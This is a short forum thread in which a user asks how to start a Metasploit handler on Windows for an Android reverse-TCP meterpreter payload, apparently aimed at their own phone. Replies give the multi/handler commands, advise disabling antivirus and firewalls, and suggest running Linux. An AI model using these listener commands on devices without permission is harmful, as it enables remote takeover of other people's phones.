Forum Thread: How to Start Listening Connections on Metaslpoit (WINDOWS)

So I installed metasploit on my windows 10, and I was trying to start an android exploit (android/meterpreter/reversetcp).

So I started by typing:
use android/meterpreter/reversetcp
set PAYLOAD android/meterpreter/reversetcp
set LPORT 443

but when I type exploit it says unknown command (AGAIN I'M USING METASPLOIT ON A WINDOWS 10 TRYING TO EXPLOIT MY ANDROID PHONE)

Any suggestions of how to solve or whats the command to listen conections in metasploit for windows?

Good post. I'm sure someone will know how to help you out. +1

You are trying to exploit with a payload. Take a look at my Metaspoit series to learn to use Metasploit.

Try this:

use multi/handler
set PAYLOAD android/meterpreter/reversetcp
set LPORT 443

Make sure that all you antivirus and firewalls are down because of else it won't work.


Yes they are, that wasn't the prolem I managed to solve it thanks to David Matios, but thanks for your post.

You should not use MSF on Windows. It is really unstable and lacks a lot of features that are still present in the Linux edition. Just a tip.


I know, do you know any way of booting trough an .iso file?

Consider live booting (optionally with persistence).

Follow this guide.
